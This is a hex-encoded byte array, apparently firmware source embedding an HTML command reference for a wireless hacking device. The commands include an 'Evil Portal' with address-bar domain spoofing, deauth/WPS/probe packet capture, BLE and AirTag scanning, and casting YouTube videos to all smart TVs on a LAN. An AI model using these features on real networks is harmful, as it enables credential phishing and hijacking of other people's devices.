0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x26, + 0x6C, 0x74, 0x3B, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x26, + 0x67, 0x74, 0x3B, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, + 0x57, 0x69, 0x2D, 0x46, 0x69, 0x20, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, + 0x72, 0x64, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, + 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x26, 0x6C, 0x74, + 0x3B, 0x41, 0x50, 0x5F, 0x73, 0x73, 0x69, 0x64, 0x26, 0x67, 0x74, 0x3B, + 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x53, 0x49, + 0x44, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x61, 0x63, + 0x63, 0x65, 0x73, 0x73, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x3C, 0x62, + 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, + 0x65, 0x3E, 0x26, 0x6C, 0x74, 0x3B, 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, + 0x26, 0x67, 0x74, 0x3B, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, + 0x20, 0x43, 0x75, 0x73, 0x74, 0x6F, 0x6D, 0x20, 0x64, 0x6F, 0x6D, 0x61, + 0x69, 0x6E, 0x20, 0x74, 0x6F, 0x20, 0x73, 0x70, 0x6F, 0x6F, 0x66, 0x20, + 0x69, 0x6E, 0x20, 0x61, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x62, + 0x61, 0x72, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x65, 0x6D, 0x3E, 0x4F, 0x52, 0x3C, 0x2F, 0x65, 0x6D, 0x3E, 0x3C, + 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, + 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x4F, 0x66, 0x66, 0x6C, 0x69, 0x6E, 0x65, + 0x20, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, + 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x73, + 0x74, 0x61, 0x72, 0x74, 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x20, 0x26, + 0x6C, 0x74, 0x3B, 0x46, 0x69, 0x6C, 0x65, 0x50, 0x61, 0x74, 0x68, 0x26, + 0x67, 0x74, 0x3B, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x41, 0x50, 0x5F, 0x73, + 0x73, 0x69, 0x64, 0x26, 0x67, 0x74, 0x3B, 0x20, 0x26, 0x6C, 0x74, 0x3B, + 0x44, 0x6F, 0x6D, 0x61, 0x69, 0x6E, 0x26, 0x67, 0x74, 0x3B, 0x3C, 0x2F, + 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x73, 0x74, 0x6F, 0x70, + 0x70, 0x6F, 0x72, 0x74, 0x61, 0x6C, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, + 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x6F, 0x70, 0x20, 0x74, 0x68, + 0x65, 0x20, 0x45, 0x76, 0x69, 0x6C, 0x20, 0x50, 0x6F, 0x72, 0x74, 0x61, + 0x6C, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, + 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, + 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x73, 0x74, 0x6F, 0x70, 0x70, 0x6F, + 0x72, 0x74, 0x61, 0x6C, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, + 0x67, 0x3E, 0x62, 0x6C, 0x65, 0x73, 0x63, 0x61, 0x6E, 0x3C, 0x2F, 0x73, + 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x48, 0x61, 0x6E, 0x64, + 0x6C, 0x65, 0x20, 0x42, 0x4C, 0x45, 0x20, 0x73, 0x63, 0x61, 0x6E, 0x6E, + 0x69, 0x6E, 0x67, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x76, 0x61, 0x72, + 0x69, 0x6F, 0x75, 0x73, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x73, 0x2E, 0x3C, + 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, + 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, + 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, + 0x64, 0x65, 0x3E, 0x62, 0x6C, 0x65, 0x73, 0x63, 0x61, 0x6E, 0x20, 0x5B, + 0x4F, 0x50, 0x54, 0x49, 0x4F, 0x4E, 0x5D, 0x3C, 0x2F, 0x63, 0x6F, 0x64, + 0x65, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x41, 0x72, 0x67, 0x75, + 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, + 0x6E, 0x67, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x66, 0x3C, 0x2F, 0x63, + 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, + 0x27, 0x46, 0x69, 0x6E, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x46, 0x6C, + 0x69, 0x70, 0x70, 0x65, 0x72, 0x73, 0x27, 0x20, 0x6D, 0x6F, 0x64, 0x65, + 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, + 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x64, 0x73, 0x3C, 0x2F, 0x63, 0x6F, 0x64, + 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x42, 0x4C, + 0x45, 0x20, 0x73, 0x70, 0x61, 0x6D, 0x20, 0x64, 0x65, 0x74, 0x65, 0x63, + 0x74, 0x6F, 0x72, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x61, 0x3C, 0x2F, 0x63, + 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, + 0x41, 0x69, 0x72, 0x54, 0x61, 0x67, 0x20, 0x73, 0x63, 0x61, 0x6E, 0x6E, + 0x65, 0x72, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x72, 0x3C, 0x2F, 0x63, 0x6F, + 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x63, 0x61, 0x6E, 0x20, 0x66, 0x6F, + 0x72, 0x20, 0x72, 0x61, 0x77, 0x20, 0x42, 0x4C, 0x45, 0x20, 0x70, 0x61, + 0x63, 0x6B, 0x65, 0x74, 0x73, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x73, 0x3C, + 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x6F, 0x70, + 0x20, 0x42, 0x4C, 0x45, 0x20, 0x73, 0x63, 0x61, 0x6E, 0x6E, 0x69, 0x6E, + 0x67, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, + 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, + 0x6F, 0x6E, 0x67, 0x3E, 0x63, 0x61, 0x70, 0x74, 0x75, 0x72, 0x65, 0x3C, + 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3A, 0x20, 0x53, 0x74, + 0x61, 0x72, 0x74, 0x20, 0x61, 0x20, 0x57, 0x69, 0x2D, 0x46, 0x69, 0x20, + 0x63, 0x61, 0x70, 0x74, 0x75, 0x72, 0x65, 0x20, 0x28, 0x72, 0x65, 0x71, + 0x75, 0x69, 0x72, 0x65, 0x73, 0x20, 0x53, 0x44, 0x20, 0x63, 0x61, 0x72, + 0x64, 0x20, 0x6F, 0x72, 0x20, 0x46, 0x6C, 0x69, 0x70, 0x70, 0x65, 0x72, + 0x29, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, + 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, + 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x63, 0x61, 0x70, 0x74, 0x75, 0x72, + 0x65, 0x20, 0x5B, 0x4F, 0x50, 0x54, 0x49, 0x4F, 0x4E, 0x5D, 0x3C, 0x2F, + 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x41, + 0x72, 0x67, 0x75, 0x6D, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x3C, 0x2F, 0x73, + 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x70, + 0x72, 0x6F, 0x62, 0x65, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, + 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x63, 0x61, 0x70, 0x74, 0x75, + 0x72, 0x69, 0x6E, 0x67, 0x20, 0x70, 0x72, 0x6F, 0x62, 0x65, 0x20, 0x70, + 0x61, 0x63, 0x6B, 0x65, 0x74, 0x73, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x62, + 0x65, 0x61, 0x63, 0x6F, 0x6E, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, + 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x63, 0x61, 0x70, 0x74, + 0x75, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x62, 0x65, 0x61, 0x63, 0x6F, 0x6E, + 0x20, 0x70, 0x61, 0x63, 0x6B, 0x65, 0x74, 0x73, 0x3C, 0x62, 0x72, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, + 0x2D, 0x64, 0x65, 0x61, 0x75, 0x74, 0x68, 0x3C, 0x2F, 0x63, 0x6F, 0x64, + 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x63, 0x61, + 0x70, 0x74, 0x75, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x64, 0x65, 0x61, 0x75, + 0x74, 0x68, 0x20, 0x70, 0x61, 0x63, 0x6B, 0x65, 0x74, 0x73, 0x3C, 0x62, + 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, + 0x65, 0x3E, 0x2D, 0x72, 0x61, 0x77, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, + 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x63, 0x61, 0x70, + 0x74, 0x75, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x72, 0x61, 0x77, 0x20, 0x70, + 0x61, 0x63, 0x6B, 0x65, 0x74, 0x73, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x77, + 0x70, 0x73, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, + 0x74, 0x61, 0x72, 0x74, 0x20, 0x63, 0x61, 0x70, 0x74, 0x75, 0x72, 0x69, + 0x6E, 0x67, 0x20, 0x57, 0x50, 0x53, 0x20, 0x70, 0x61, 0x63, 0x6B, 0x65, + 0x74, 0x73, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x74, 0x68, 0x65, 0x69, 0x72, + 0x20, 0x61, 0x75, 0x74, 0x68, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3C, 0x62, + 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x63, 0x6F, 0x64, + 0x65, 0x3E, 0x2D, 0x70, 0x77, 0x6E, 0x3C, 0x2F, 0x63, 0x6F, 0x64, 0x65, + 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x20, 0x63, 0x61, 0x70, + 0x74, 0x75, 0x72, 0x69, 0x6E, 0x67, 0x20, 0x50, 0x77, 0x6E, 0x61, 0x67, + 0x6F, 0x74, 0x63, 0x68, 0x69, 0x20, 0x70, 0x61, 0x63, 0x6B, 0x65, 0x74, + 0x73, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x2D, 0x73, 0x74, 0x6F, 0x70, 0x3C, 0x2F, + 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x3A, 0x20, 0x53, 0x74, 0x6F, 0x70, 0x20, + 0x74, 0x68, 0x65, 0x20, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x20, 0x63, + 0x61, 0x70, 0x74, 0x75, 0x72, 0x65, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x63, 0x6F, 0x6E, + 0x6E, 0x65, 0x63, 0x74, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, + 0x3E, 0x3A, 0x20, 0x43, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x20, 0x74, + 0x6F, 0x20, 0x61, 0x20, 0x73, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, + 0x20, 0x57, 0x69, 0x2D, 0x46, 0x69, 0x20, 0x6E, 0x65, 0x74, 0x77, 0x6F, + 0x72, 0x6B, 0x2E, 0x3C, 0x62, 0x72, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x55, 0x73, 0x61, + 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, + 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x63, 0x6F, 0x6E, 0x6E, 0x65, + 0x63, 0x74, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x53, 0x53, 0x49, 0x44, 0x26, + 0x67, 0x74, 0x3B, 0x20, 0x26, 0x6C, 0x74, 0x3B, 0x50, 0x61, 0x73, 0x73, + 0x77, 0x6F, 0x72, 0x64, 0x26, 0x67, 0x74, 0x3B, 0x3C, 0x2F, 0x63, 0x6F, + 0x64, 0x65, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x6C, 0x69, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, + 0x74, 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x64, 0x69, 0x61, 0x6C, 0x63, 0x6F, + 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x3C, 0x2F, 0x73, 0x74, 0x72, 0x6F, 0x6E, + 0x67, 0x3E, 0x3A, 0x20, 0x43, 0x61, 0x73, 0x74, 0x20, 0x61, 0x20, 0x72, + 0x61, 0x6E, 0x64, 0x6F, 0x6D, 0x20, 0x59, 0x6F, 0x75, 0x54, 0x75, 0x62, + 0x65, 0x20, 0x76, 0x69, 0x64, 0x65, 0x6F, 0x20, 0x6F, 0x6E, 0x20, 0x61, + 0x6C, 0x6C, 0x20, 0x73, 0x6D, 0x61, 0x72, 0x74, 0x20, 0x54, 0x56, 0x73, + 0x20, 0x6F, 0x6E, 0x20, 0x4C, 0x41, 0x4E, 0x2E, 0x3C, 0x62, 0x72, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x74, 0x72, 0x6F, 0x6E, + 0x67, 0x3E, 0x55, 0x73, 0x61, 0x67, 0x65, 0x3A, 0x3C, 0x2F, 0x73, 0x74, + 0x72, 0x6F, 0x6E, 0x67, 0x3E, 0x20, 0x3C, 0x63, 0x6F, 0x64, 0x65, 0x3E, + 0x64, 0x69, 0x61, 0x6C, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x3C, + 0x2F, 0x63, 0x6F, 0x64, 0x65, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x69, + 0x3E, 0x0D, 0x0A, 